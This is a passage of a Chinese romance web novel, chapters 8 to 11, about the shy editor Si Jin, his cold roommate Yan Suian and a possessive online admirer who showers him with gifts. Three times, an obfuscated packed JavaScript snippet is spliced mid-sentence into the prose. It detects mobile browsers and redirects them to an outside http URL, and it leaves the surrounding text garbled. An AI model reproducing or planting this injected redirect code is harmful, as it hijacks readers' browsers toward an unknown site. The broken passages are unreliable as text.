借口工作累了要去洗漱,随便便也没强求他这会儿要把照片都拍完,还故作体贴叫他好好休息,记得吃药。 司谨昨天回来就没洗漱,这会儿在浴室中将自己仔仔细细清理干净,换好干净睡衣出去时只觉神清气爽。 只是这种愉悦感还未维持多久,就在看见客厅沙发上坐着的人后消散了。 听见声音,燕绥安侧首看了过来。 青年穿着单薄的棉质睡衣,白皙的皮肤染着湿润,自然卷的栗色短发潮湿柔软,落下的水珠被青年肩上的浅色毛巾吸去。 “你回来了。”司谨愣愣地说。 燕绥安嗯了声,漫不经心的模样,可是目光却紧紧黏在他的身上。 他穿着整齐,让司谨有点不自在。 准备回房间,却听见客厅人忽然开口:“你租房合同签了多久?” 司谨愣一下:“半年。” “嗯,没事。”燕绥安将脑袋转回了电视方向。 还记得就行。 8. 第 8 章 之后的几天,快递陆陆续续抵达,司谨每天下了班都是第一时间奔向代收点。 回到家收拾完那些衣服配饰,他只觉得苦恼,可是随便只能妥协之后不再频繁给他添置,并不答应将这些退回,他便也只能留着。 但无法否认的是,这些衣服真的解决了他的燃眉之急,而且每一件都是合适的。 只是很快,他便没心思去在意这个了。 一大早还没醒来,司谨便接到了家里的电话,李美花在那边说父亲一大早上海城办事,正好路过他这里,要给他送一些特产。 司谨现在基本上只有过年才回一趟家,可是对于自己的家人,却说不上想念。 当天下了班,他直奔地铁站,回到小区的时候远远就看见一道身影立在大门边上的树下,脚边放着一个蛇皮袋子,里头鼓鼓囊囊装满了东西。 “爸爸。” 司谨快步小跑过去。 司志义抽着烟,见着他不耐烦说:“这么晚,我都在这等好一会了。” “今天下班之前开会晚了。”司谨小声解释完,才看了眼他脚下的袋子,“这些全是给我带的吗?” 司志义抽光了最后一个烟屁股,随手丢在地上。 “你妈让带的,这些新鲜菜城市里都吃不到嘞,家里人对你多上心,你倒是连家都不回。” 他说完抬头看了眼面前高耸的小区楼栋,咂舌道:“你一个人在外头上班,还住这么高级的地方,房租都要花不少了,还不如打点回家里。” 司谨跟在他身后,把沉甸甸的袋子提起,走的有些慢。 “我是跟人家一起合租的,租金不算贵。” 司志义撇嘴:“能便宜到哪去?能有住在家里好吗?之前让你回老家找份工作,非要跑这里来,在大城市上班就代表你是城市人了?当初就不该让你跑出来读大学,学得这么虚荣……” 司谨低下头,不想再和他说什么。 上了楼,司谨把袋子上的灰尘抖了抖,又给玄关地毯上垫了一层塑料袋,才把袋子放在了上面。 “爸爸,我请你出去吃饭吧,对面有一个餐馆味道挺好的。” 司志义还想往里头走:“你在家随便炒两个菜不就行了?跑外面花那钱。” 司谨听完只觉疲惫,他工作了一天,现在只想好好休息,况且…… “我们还是出去吧,我室友不让我带别人回家,他要是知道了会生气的。” 司志义有些不耐烦了:“我是你爹,怎么叫别人?自己亲爸来家里吃顿饭都不行了?” “你……” 司谨深吸口气,觉得跟他说不通,只能好声好气劝着他。 司志义坐了一路车也饿的够呛,见他不妥协也只能气冲冲出去,黑漆漆的旧皮鞋在羊毛地毯上留了半个黑脚印。 司谨关门前垂眸看见,忍不住叹了口气。 在对面餐馆点了两个菜,司志义一边吃着,和他说家里的情况。 “大姐她们怎么样了?”司谨简单吃了几口,便放下了筷子。 司志义不耐道:“她们还能怎么?你大姐在店里帮忙,淑英还在化妆学校里上课,整天家也不回,不知道在哪里鬼混。” 司谨忍不住替二姐说话:“她们上完课应该都有作业的,家里怎么做,二姐肯定要找同学一起。” “她就是在外面玩野了心。”司志义越说越气,“等下月过年,让你妈给她找几个合适的相相,这个年纪把婚定下来是最好。” 司谨皱皱眉,小声说:“二姐还年轻呢。” “年轻才好找,等以后都没人要。”司志义向来大男子主义,自以为是说完这话,便又开始教育司谨,“你在外面过得好,也不问问你大哥怎么样。” 司谨拿起水杯喝了口,将心中的郁闷压下。 “大哥肯定过得很好。” 无论是司志义还是李美花,都对这个长子寄予厚望,即便司鹏不务正业,在高中就戳了学出去打工,每每回家就是要钱,创业失败了一次又一次,但司志义夫妻两还是对他最为上心。 司鹏有这样的底气,又怎么会让自己过得差劲。 “你大哥差不多定下了,过年准备结婚,你可得早点回来帮忙,不能叫别人看不起我们司家。”司志义说。 司谨本想说点什么,最后还是点了头。 “知道了。” 吃过饭,司志义还要去找他的老朋友玩,司谨便将他送上了出租车。 回到星光城天已经完全黑了,他小心翼翼将地毯上的黑印搓掉,然后才去收拾那些特产和菜。 这些东西放在阴凉地是最合适的,如果放在房间会有很大的味道,正当他想要发个消息给燕绥安,询问是否可以放在客厅角落,身边的门就传来开锁声音。 下一秒,家门被打开,燕绥安和蹲在地上的他对上目光。 司谨连忙站起来,磕磕巴巴解释:“这些是我爸爸刚才送来的特产,我可不可以放在客厅墙边上,我会铺好袋子,不会弄脏地板的。” 相处下来,他觉得燕绥安是个很爱干净的人,所有东西都收拾的很整齐,肯定不喜欢家里脏乱的样子,所以问完以后心底便满是忐忑。 好在燕绥安只扫了一眼就答应了。 “你自己看着办。” “谢谢。”司谨松了口气,接着想到他之前给自己买晚餐,又喊住换完鞋准备进房间的他,“那个,这些都是新鲜的,玉米和红薯,你可以用来做早餐。” 燕绥安很明显地皱了皱眉,“我不吃这些,你自己留着。” 说完,他没再停留,直接回了房间。 司谨缓慢垂下头,脑海中止不住回荡燕绥安刚才的表情。 好像很嫌弃啊。 低头看了一眼脏兮兮还沾着泥土的地瓜,他莫名有些鼻酸,深吸口气蹲下继续收拾。 收拾完回到房间,他将最后几个快递收拾完,简单换上给随便拍去了照片。 北极生活的小熊猫:【都很好看,够我穿很久很久了,非常感谢你,如果你愿意的话可不可以给我一个地址,以后我看见适合你的东西,也礼尚往来买给你】 这是他斟酌了一晚上才想到的办法,随便不接受他的退货,但收这么多东西他也过意不去。 随便:【你喜欢就好】 随便:【你怎么知道什么样的适合我?】 随便:【不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019028|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪费钱】 司谨刚把衣服换下来就接到了消息,看完对方的回复,心中却并没有放松丝毫。 他低着头认真打字。 【你可以告诉我具体的喜好,否则收你这么多东西,我真的很过意不去】 发完想了想,他还是忍不住把心里话发了过去。 【只是我没有很多钱,希望我送的东西,你不会嫌弃】 这条消息发出去,那种隐隐约约的酸涩感再次涌上,让他本就还堵塞的鼻子变得更加难受。 叮咚一声,新消息发来。 随便:【为什么这么说?有人嫌弃你?】 司谨的确有这样想,但这并不是别人的错,更何况他不是很想把自己现实中的事情和随便讲,于是便否认了。 【没有】 随便:【你送什么我都喜欢,但不要买贵的东西,否则我也要毁约】 司谨松了口气,回复他好的。 原以为对话到这里就可以结束了,谁知对面又发来了新消息。 随便:【我喜欢的是你,只要是你给我选的礼物,我都会很喜欢】 随便:【宝贝,不要不高兴】 昏暗的房间内,手机泛着微微荧光,投射在司谨的脸上,让他一时间有些恍惚。 虽然不想承认,可在看见消息的那一瞬间,心脏仿佛流动过了温软的水流,抚平了那些忐忑和犹疑。 - 工作群响起了滴滴消息声,司谨正和新过稿的作者交谈签约详情,肩膀就被戳了戳。 “谢子奇让你看消息。” 司谨愣一下,调出了工作账号的私信,果然看见同事谢子奇给他发来的消息。 谢子奇(自启):[《绝艳天下毒妃》那本是在我这先过的,你别走流程了] 司谨微怔,调出刚加上聊了二十分钟的作者窗口,果然是他说的那个。 他思忖片刻,还是用编辑号给那作者发去了消息。 橙子:[你好,除了我这本稿子还投了本站其他编辑吗?] 作者的状态从备注名下面出现了正在输入中,但足足过了一分钟,才发来消息。 作者:[是的,我还投了一个自启编辑,但是他一直没给我回复,所以我又投了你] 司谨盯着屏幕上的消息沉思良久,最后长长吐出了一口气,将情况简略解释给了作者听,接着便关闭了聊天框,继续审核下一条稿件。 下班以后其他几个关系好的编辑约着去打卡公司附近的新餐厅,这次没有叫司谨。 让他松口气的同时,下班路上想到今天发生的事情,心情又变得很复杂。 地铁上人挤人,他一抬头就能看见别人正在刷视频和聊天,可是他好像没有什么娱乐可以做。 垂头丧气掏出手机,他正想要看看明天的天气预报,就看见访心上弹出了一个红点。 随便:【宝贝,下班了吗?辛不辛苦】 随便:【明天又是周末,和同事或者朋友出去玩吗?】 司谨看完消息,心底一片冰凉。 他憋了半天,却还是觉得委屈,抿着嘴唇打字。 北极生活的小熊猫:【没有人跟我玩】 9. 第 9 章 那条消息发出去的瞬间,司谨就后悔了。 可还来不及撤回,随便的状态就变成了正在输入中,迫使他下意识退出了访心,直到他走出地铁站,脸上的滚烫才被冷风吹散了些。 身上穿着随便给他买的羽绒服,很温暖,让他又感到心虚。 穿着别人买的衣服,可是却对别人这么冷淡,是不是有点太坏了。 于是等回到家刚走进一楼大厅,他便找出了手机点开。 随便已经给他发了很多条消息。 随便:【宝宝怎么了?是同事欺负你了吗?】 随便:【朋友也没有时间吗?】 随便:【不要难过,我去找宝宝玩好不好?】 司谨被他的消息吓了一跳。 北极生活的小熊猫:【我想要自己一个人待着休息】 北极生活的小熊猫:【不要来】 他难得这样坚定拒绝一个人,因为他很清楚,如果自己不这么说的话,随便可能真的马上就出发了。 也真是奇怪,只是认识了这么一段时间,他却好像已经对随便的性格非常了解了,这是从前没有发生过的情况。 随便:【那你和我说,发生什么了?】 司谨想也没想就回复:【什么都没有】 但随便并没相信。 【你不愿意信任我吗?我之前说过,有不开心的事情可以和我倾诉,说出来心情会好很多】 【宝宝】 或许是真的被随便那些看似真诚的话打动了,此时站在安静上升的电梯中,司谨居然萌生了一丝心动。 反正随便也不认识他,还是很难得愿意聆听他难过委屈的人,为什么他不可以倾诉呢? 犹豫着出电梯进门的途中,握在掌心的手机屏幕屡屡亮起,是随便还在给他发消息催促询问。 几乎是有些匆忙地回到了房间,司谨打开床头的小灯,坐在凳子上开始打字。 下巴抵在膝盖上,手机屏幕散发出的荧光洒在他面庞,他一五一十将今天的情况说完了,随着打字的功夫,心里头的憋屈又涌了上来。 谢子奇凭什么抢走他的业绩?明明是他先审完了稿子。 可是……这件事也是怪他自己不够硬气,如果那个时候他能拒绝谢子奇的话,就不会这样了。 想到这里,他又有了顾虑。 随便会不会觉得他很没用?连拒绝别人都不知道,所以造成这样的结果也是咎由自取。 他还想要为自己找一些借口,可越是想,却越是感觉无力。 为什么他不能拒绝呢?那么简单的一句话,反正谢子奇本来就已经对他有了很大的意见,再多这么一件事也没什么影响。 手机屏幕忽然亮起,司谨愣愣地看着访心的图标提示,却忽然产生了些许退缩和畏惧。 他居然有些害怕查看对方发来的消息。 也不知道过去了多久,他僵硬的手指动了动,解锁点开。 随便:【这什么同事】 随便:【宝宝不要难过,我教你下次怎么应对】 司谨微怔,觉得故事发展好像和自己想象中不太一样。 他犹豫着回消息:【怎么应对?】 随便:【当做没看见他的消息,走完流程再回他,就说抱歉没看见】 随便:【他没脸没皮,给他的消息降权,以后默认处理完其他事情再回复他】 随便:【气死他】 司谨看完,忍不住想笑。 【他知道我不喜欢搭理他,所以总是让其他同事来找我,给他传话】 随便:【乖宝,没什么比你自己的工作更重要,你只要点头说好,就没人再烦你了,如果他强行要求其他同事帮忙,那被嫌弃的只会是他】 真的吗? 司谨还没有尝试过,他总是觉得不理会别人,会让传话的人很尴尬,所以他总是很难做到果断拒绝。 正想着,随便又给他发来了新消息。 随便:【下次试试,不要因为这些事影响了心情】 奇迹般的,在和他倾诉完了这件事情以后,司谨感觉自己的情绪的确没有那么低落了,于是忍不住向他道谢。 随便:【不要和我说这种生分的话】 随便:【那宝贝有没有想过和室友朋友一起出去玩?】 司谨犹豫片刻。 【还是想在家里好好休息,朋友的工作很忙,我跟室友不是很熟悉】 随便几乎是秒回:【多打打交道就熟悉了】 司谨光是想想就觉得头大。 【还是不要了,我和室友不是很合得来】 这次随便没有秒回,状态变了又变,似乎是正在斟酌要说的话。 司谨不太想要和他聊太多关于室友的事情,毕竟要是延伸出去的话,就显得像是在背后说坏话。 思考片刻,他第一次主动发问。 【我想问你一个问题】 这次随便回复的很快。 【宝贝,你问吧】 【你都没有见过我,为什么会对我有好感?难道就因为那一张照片吗】 司谨犹豫了很久,还是没有好意思把喜欢两个字打出来。 随便:【不可以吗?】 司谨说不出具体是哪里有问题。 随便:【宝贝长得很好看,让我觉得好像在哪里见过】 随便:【能和宝贝聊天,对我来说是很开心的事情】 看到这里,司谨忽然一怔,莫名有点紧张。 【你也在海城吗?】 心中隐隐不安,他其实是有些害怕的。 虽然随便给他买了很多东西,让他觉得很感动,可是他也没有忘记随便是个怎样疯狂的人。 宋晓西欺骗了他,他就会找到宋晓西身边的人,威胁要把宋晓西的事情捅到那些同事朋友面前,而聊天的这几天屡屡提出的见面,听起来也不像是假话。 司谨甚至有种预感,只要他让随便来,可能过不了多久就真的能见到那个人。 这是他不想要的结果。 好在随便过了一会儿发来的消息,就让他松了口气。 【暂时不在】 【如果宝贝希望我在的话,我会第一时间到海城的】 司谨心中的悬石悄然落下,思考片刻开始试探着询问随便的情况。 【不用啦,你是做什么的啊?】 随便说给他挑点衣服,一出手就全是名牌,还是几十件,看起来应该很阔绰。 但……那样的人为什么会玩这种交友软件?还在这上面找对象。 随便:【宝宝猜一下】 司谨犹豫片刻,低头打字:【你是不是自己创业的?】 随便:【为什么这么说】 【因为你看起来很有钱】 司谨发完有点不好意思,但是他后面的话不敢加上。 随便看起来就是那种家境很好,自己也很有钱的大少爷,人很热情,可是要起坏心眼的时候也很随心所欲,跟他完全是不一样的。 随便:【宝宝,你真可爱】 对方没有否认。 司谨心底大致有了数,趁着这会儿又想要劝导他,可随便不知道是不是猜到了他的心思,竟然又转移了话题。 随便:【你说和室友关系不好,是他欺负你了吗?】 北极生活的小熊猫:【没有的,就只是相处起来不是很合适】 随便:【他人不好?】 北极生活的小熊猫:【我跟他不是很熟的】 司谨其实已经想好了,等房子快要到期的时候,他就找一个更便宜的住处,只是到时候搬走……该怎么和燕绥安说呢? 看得出来燕绥安的脾气不太好,要是知道他搬来半年又要走,说不定会不高兴。 对于司谨来说,面对别人的冷脸,是最痛苦的事情。 手机屏幕一亮,是宋晓西给他发来消息。 宋晓西:【你感冒好了没有啊?这周末还去一粟兼职吗?周日是我生日,想拉你出来玩】 司谨眼睛微微一亮,有了主意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019029|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 将事情和宋晓西说完。 宋晓西:【真的假的?你现在住的地方不是挺好吗?租金是贵了点,但相比周边的房子,也算是很优惠的了】 司谨几乎没怎么犹豫,摁下语音键小声倾诉:“是挺便宜的,但这个房子本身就是为了搬离原先地方着急找的,之后我想提前腾点时间,找一个便宜的地方长久住。” 他从小就很勤俭节约,是因为知道自己和别人不一样,长大以后的一切都只能靠自己,而前不久司志义来到这里说的那些话,更是给了他一锤重击。 家里孩子这么多,他长大以后就是居无定所的,即便家人时常说让他回去工作,可实际上回去了,他也只能和大哥挤在一个房间。 而租房带来的安全感更是少之又少,无论是他目前的状态还是为了未来的发展,能买下属于自己的房子,都是他唯一的目标。 现在每个月的房租要贵这么多,在他心中的确是很不值当的。 宋晓西发来语音。 “唉,你确定了的话,回头我去帮你说也可以,别不好意思嘛,你都帮了我这么多忙,这叫什么事。” 司谨长舒了口气,道谢过后表示会去参加他的生日活动。 结束对话,他再次进入访心,鬼使神差将自己的安排发了过去。 北极生活的小熊猫:【这个周末有活动啦∩_∩】 - 周日结束了一粟的兼职,司谨回家换了衣服直奔宋晓西发来的地点。 宋晓西的朋友很多,生日也同样热闹,他刚进酒吧的时候听见里头的音乐声,有种耳朵被堵住了的错觉。 “司谨宝贝!” 宋晓西看见他眼睛就是一亮。 司谨笑着将礼物递过去:“晓西,生日快乐。” “谢谢啊,我回去再拆。”宋晓西接过沉甸甸的袋子,揽着他肩膀,将人带进了卡座里开始介绍,“这是我好朋友司谨,这些都是我的同事和朋友,他们人都很热情的。” 几人同司谨打过招呼,看起来的确都很好说话。 宋晓西还需要去接待别的朋友,所以将司谨安顿好便离开了。 主角不在,边上几人看着是认识,聊着熟悉的话题,司谨知道自己插不进去,便趁着这时间切换了工作账号,开始回复一些简单的作者消息。 没多久卡座又多了几个人,大家商量着一起开始做游戏,司谨迷迷糊糊就跟着放下了手机。 “诶,你又错了。” 那些花里胡哨的游戏规则司谨还没有弄懂,就被起哄着喝了好几杯酒。 那些人也并没有任何恶意,还教了他好几趟,只是他对于这些游戏实在不熟悉,所以输的最多。 “诶,你们干嘛呢?趁我不在欺负人。” 宋晓西回来看见这一幕,面上还盛着笑,手就搭在司谨的肩膀上,让他站起来跟自己换了位置。 “他不喜欢玩这些,我来呗。” 司谨会意,坐在了最外侧,松口气将最后的几条消息回复完了。 而正准备灭屏时,却看见访心的图标上出现了小红点。 随便:【还在给朋友庆祝生日吗?在什么地方?】 司谨迟钝愣怔了一会儿,下意识舔了舔还带着淡淡酒气的嘴唇,心虚打字。 【嗯,在吃饭的地方】 随便虽然跟他隔着这么远的距离,但实际上对他的事情都很在意,如果知道他在酒吧的话,肯定会不高兴,到时候又会说那些要来海城的话。 所以司谨不打算跟他说实话。 随便:【宝宝,你没有骗我吧?】 司谨背后一凉,下意识回头看向热闹的舞池。 没有人盯着他。 北极生活的小熊猫:【没有】 他硬着头皮打下这句话,然后借口自己有事要忙,直接退出了访心。 周围很是喧闹,就连身侧的宋晓西都扯着嗓子跟人笑着喊话,可他却总是觉得不安。 好像有一双眼睛正在他不知道的地方,死死盯着他。 10. 第 10 章 另一边玩的热闹,司谨身边的人都在闲聊,要安静许多。 但很快,便有人坐在了他身边,端起酒杯跟他示意:“你是不是很少来这种娱乐场所啊?” 那是个年轻的女生,打扮得很漂亮。 司谨有点不好意思,拿起自己的杯子和她碰了一下,说:“是,我平时工作比较忙,今天是特意来给晓西庆生的。” “看出来了。”女生喝了一口,冲着他笑,“你可以叫我茜茜,我是宋晓西的同事。” “你好。”司谨简单做了自我介绍。 “我听说你是编辑,平时是不是一直盯着电脑啊,会不会近视。” 看得出来,女生只是玩累了想休息一下,所以找的话题都很随意。 司谨放松了些许,说:“还好,我只有一点散光。” “那你之后如果想配眼镜的话可以找我,我哥哥是开眼镜店的,回头可以给你折扣哦。” 司谨对此很感兴趣,他一直很想要去配副防蓝光的眼镜,但问过几次都被价格劝退了,海城路上的眼镜店一家赛一家贵,动辄几千块。 所以这会儿便和女生交换了联系方式,通过名片加上了茜茜哥哥以后,他也礼节性道:“我周末的时候会在一粟餐厅兼职,距离这个地址挺近的,如果你之后想吃饭的话可以提前找我预约,我给你员工折扣。” “真的呀?” 一粟是海城出名的网红店,周末位置都要预定,外送价格也很高昂,女生听后很是惊喜。 “那就先谢谢你啦。” 茜茜的性格很开朗,看得出来很会聊天社交,司谨这种不喜欢跟人打交道的内向性格,跟她坐在一起聊天也觉得很轻松。 不过多时,宋晓西在那边玩累了在他身边坐下,有些好奇张望:“刚才茜茜不是在你这吗?她人呢?” “去洗手间了。”司谨如实回答。 宋晓西嘻嘻一笑:“刚才我还担心你在这无聊呢,看见你有跟人在聊天我就放心了。” 司谨:“她人挺好的。” “是挺好。”宋晓西啧一声,“茜茜她喜欢女孩,刚才应该是看见她女朋友了。” 司谨有些诧异,不过还是很快就接受了。 他和宋晓西做朋友,接触的人多种多样,现在倒也不像以前那样,看见什么都要一惊一乍。 “不过我说句实话,你没想过找个对象吗?”宋晓西似乎有些醉了,说的话比较放肆,“我好像都没见过你谈恋爱。” 司谨觉得自己可能也有点喝多了,听了他这话脸颊居然泛起热度。 “我还不急。” “急不急是一回事,有看见喜欢的人不要错过嘛……”宋晓西眼睛滴溜溜在热闹舞池中打转,忽然又问:“那你喜欢女的还是男的?” 司谨脸热:“女孩吧。” 他其实没怎么想过,但是在他的观念里面,喜欢女孩子是理所应当的。 “不用这么着急回答啦。”宋晓西知道他从小生活在小城市,就连手机都是大学时期才摸上的,所以思想会比较传统。 苦恼片刻,他忽然想到一个人。 “你跟那个随便,聊得怎么样了?” 提到这个人,司谨有短暂的一瞬间脑袋发昏,忍不住和宋晓西倾诉最近随便做的那些事情。 宋晓西听完眼睛瞪大,不可置信:“真的啊?他也太有钱了。” 司谨点点头,有点蔫巴:“我也不知道他怎么回事,我衣柜都塞不下,很多件吊牌都还没有剪掉,可是他也不让我寄回去。” 宋晓西震撼之余止不住感叹:“不过……他对你是真好啊,我之前还以为他就是见色起意,想跟你聊点不正经的,但现在感觉好像不是这么回事。” 可同时,他也响起了从前自己和随便聊天的时候。 访心的配对都是随机的,可以自己填写喜好标签,接着由系统推荐合适的用户,当初他给司谨注册账号,除了那张照片以外,其他的性格标签也都是根据司谨本身来的。 刚跟随便匹配上时,对方是很有礼貌的,丝毫不掩饰自己的爱意。 宋晓西在酒吧工作,见过的人形形色色,一眼便看出这人不一般,聊了不过几天就有些沉沦,可毕竟顶着朋友的照片网恋这件事不道德,所以最后他还是决定跟随便说了实话。 那时他想的是,自己也并不差劲,况且他先前问过随便喜欢他哪里,随便说只要是他,无论怎样都喜欢,所以他才放心说了自己的身份。 可没想到和盘托出后,随便却一下子变了态度,显得非常生气。 那时宋晓西不理解,只觉得随便生气的原因是受不了欺骗,现在才猛然发觉,也许随便真的只是单纯喜欢司谨而已。 可是……他压根就不认识司谨啊,难不成就因为那张照片? 宋晓西小心翼翼地用余光去打量身边的司谨,视线扫过他流畅小巧的嘴唇鼻梁,最后定格在那双琥珀色的清澈眼眸。 长而密的睫毛微垂着,头顶射灯扫过,在眼底落下簌簌灯影。 司谨的确是长得好看,只是性格太内向了,总是低着头,缺少了一些自信。 “但是我都不认识他啊。”司谨在边上小声嘟囔,语气中满是苦恼,“我找他要了地址和电话,之后想要回赠他一些东西,可是我也没有很多钱。” 宋晓西回过神来,灵机一动:“诶,那些衣服如果你穿不了的话,都是全新的,完全可以打折转卖给别人啊,然后再用那些钱给随便买礼物。” 被他提醒,司谨眼睛亮了亮。 “是诶!” 宋晓西半点迟疑都没有,扭头推了推卡座另一侧的男生肩膀。 “宝贝,你之前说要买新衣服,W家的新款羽绒服考虑吗?” 男生扭过头来,翻了个白眼:“我倒是想,但那件衣服现在都断货了诶。” “等你蹲到,冬天都要过去了。”宋晓西说,“我朋友跟你尺码差不多,他买了一件还没穿出去过,全新的。” “真的假的!” “司谨,把照片给他看看。” 司谨连忙把之前拍的衣服照片找出来,给那个男生看:“包装吊牌都还在,我只上身试过一次,没有弄脏。” 男生认认真真看完,又看了眼司谨,很诧异的样子:“这是正版吗?” “废话!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019030|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不等司谨回答,宋晓西拍了拍那人手臂,“你就说要不要,不要我去问别人了,就这一件啊。” 男生连忙喊住他:“行行行,是你朋友我肯定信的,那我现在付个定金吧,晚上方便直接去取吗?” 这效率让司谨目瞪口呆,只能顺着点点头:“可以的。” 中途宋晓西又抓着他的手机看了好一会,硬是诓着男生又带走了一件风衣和两双鞋。 交易就这么迅速达成,等和男生一起准备出酒吧回家去取衣服的时候,司谨还有点恍惚。 “帮我把他送到家哦。”宋晓西笑着嘱咐那男生。 男生穿着潮服,看起来特别时尚,司谨站在他边上,显得像是个还没毕业的朴素学生。 上出租车的时候,男生忽然回头,若有所思地看着酒吧街对面。 “你有没有感觉,好像有人盯着我们?” 司谨顺着他的视线看过去,缺什么也没看见,但是他也感受到了那种不自在。 “不知道,我们快上车吧。” 男生皱皱眉头,没再多说什么。 回到星云城,男生在门口等着,司谨急匆匆回去找出那几件衣服的盒子装好,然后抱着去了玄关。 “就是这几件,你可以打开看看。” 男生也没嫌麻烦,直接打开盒子仔仔细细验了货,最后很满意点了头:“行,我现在就把钱转你,给我抹个零可以吧。” “好的。” 出发前宋晓西和司谨说过,当成二手卖多少都要便宜一些,所以他并没有在意。 “扫过去了。” 男生抱起箱子跟他道别,顺手把门给关上了。 转身走到电梯门前,数字显示正好到这一层,门开后就走出个个子很高的年轻男人。 男生下意识抬头打量,却发觉那人的目光落在他怀中的箱子上,接着眉心肉眼可见皱紧了。 男生没在意,径直走进了电梯。 门内,司谨看着手机上收到的转账,心情一下子变得很雀跃,在玄关忍不住蹦了蹦。 在要回房间的时候听见有人敲了门。 心脏咯噔一下,他下意识认为是男生回来了。 是发现衣服有什么不对劲吗? 小心翼翼将门打开,可站在外头的却是满脸阴沉的燕绥安。 咕咚一声,司谨喉结小小滚动,没来由感到紧张。 这么短的时间差,男生刚才出去肯定是被燕绥安撞见了。 这个室友最讨厌他带人回来,现在肯定是又生气了。 “我没让他进来。” 趁着对方还没开口,司谨后退两步让他进来,抢先解释了一句。 燕绥安冷着脸进门,砰的一声把门给关上了。 看着他换鞋脱外套,司谨很不自在,觉得他似乎不太想和自己说话,犹豫片刻准备先回房间。 可还没等他转身,燕绥安沉冷阴森的声音就传入了耳中。 “你私生活好像挺丰富的,身边坐着的是一个,带回家的又是另一个。” 司谨听后怔住,小脸唰的一下白了。 “你……刚才也在那家酒吧?” 11. 第 11 章 虽然早就决定了不跟这个室友深交,可司谨还是不希望他误会自己,连忙解释:“我只是去给朋友庆祝生日,没有做别的,而且刚才那个人只是来拿东西的,他买了我的衣服。” “是吗?你又转行做代购了。”燕绥安语气冰冷,还带着几分不易察觉的嘲讽。 司谨有点不好意思:“不是,只是衣服太多了,穿不了那么多,所以卖掉,不是你想的那样。” 燕绥安:“那最好,我不希望跟我住在一起的人私生活太混乱,脏。” 司谨只当他说的不是自己,可是想走时又觉得气不过。 明明是燕绥安自己总是理所应当瞎猜,为什么知道误会了还不道歉。 这个念头浮现的瞬间,他有点被自己吓到了。 不知道是不是因为随便这些天给他灌输的那些思想,导致他的第一反应居然已经不是退缩逃避。 可是…… 垂在身侧的拳头微微捏紧,他深吸口气,还是转身看向了正走进餐厅喝水的燕绥安。 “我觉得,你应该向我道歉。” 燕绥安的背影顿住,蹙着眉回头看他,“你说什么?” 他脱了外套,里头单薄的卫衣将他挺拔结实的身躯勾勒的更加清晰,小臂延伸上去的肌肉弧度分明,很有压迫感。 司谨紧张不已,但还是硬着头皮说了下去。 “你误会了我,还嘲笑我,你现在弄清楚了事情经过,应该向我道歉的。” 燕绥安沉默着,静静看着他,没有说话。 司谨深吸口气:“而且,你自己明明也在酒吧里玩,我都没有质疑过你是不是私生活混乱,那时候你可以直接过来跟我打招呼的,可是你却选择随便揣测我和朋友的关系,还有……你总是在客厅餐厅这些共用位置不穿衣服,我都没有说过你,你应该跟我道歉的。” 一次性把自己想说的说了出来,心上的重担仿佛瞬间卸下,可同时那种紧张不安感也紧随而来。 他说完是开心了,可是燕绥安肯定不会想要听见这些话。 正僵着背,燕绥安忽然朝他走了一步。 司谨眼睛微微睁大,有些惊慌后退,险些以为燕绥安要跟他动手。 “对不起。” 啊? 司谨愣愣看着面无表情的燕绥安,好一会儿才反应过来,对方正在向他道歉。 燕绥安说:“这件事的确是我的错,我不该说这么难听的话,以后在公共场所锻炼,我也会穿上衣服的,希望你能原谅我。” 他的态度过分认真,倒是让司谨有些不好意思了。 “没、没关系。” 结束了对话,司谨飘飘然回到房间,靠在门板上长舒一口气,有些不敢相信。 他刚才居然质问了燕绥安,还得到了燕绥安的真诚道歉! 好像在做梦啊。 今天发生的事情都特别好,让司谨感觉有点不真实。 等他出去洗澡的时候,燕绥安已经回房间了,他隐约间能听见对面房间传出来的音乐声。 收拾完自己,他趴在床上把收到的钱转进单独的余额里,准备留着给随便买礼物。 只是他还不知道随便喜欢什么,便点开访心,主动给随便发去了消息。 将今天和室友对峙的过程描述了一遍,他这会儿想起来还觉得很开心,而对方也很快回复了他。 随便:【宝宝真棒】 北极生活的小熊猫:【也要谢谢你】 北极生活的小熊猫:【你平时健身都做哪些项目呢?】 随便简单说了几个,司谨对这方面不是很了解,便咨询了一下大学关系不错的社团学长,他记得那人对各种运动也很在行。 对方回复的很快,给他推荐了几样。 击剑服。 司谨几乎是一眼就看中了这个,但其实他对击剑没有任何了解,只是看见随便发来的项目中有这个,觉得很合适。 而且击剑服都很帅,等切回了访心,他的目光就不自觉黏在了随便的腹肌头像上。 什么都会,难怪身材会这么好。 做了好一会儿功课,他又咨询了一会儿学长,最终定下了一套据说防护效果很好的击剑服。 北极生活的小熊猫:【我准备睡觉啦,你也早一点休息】 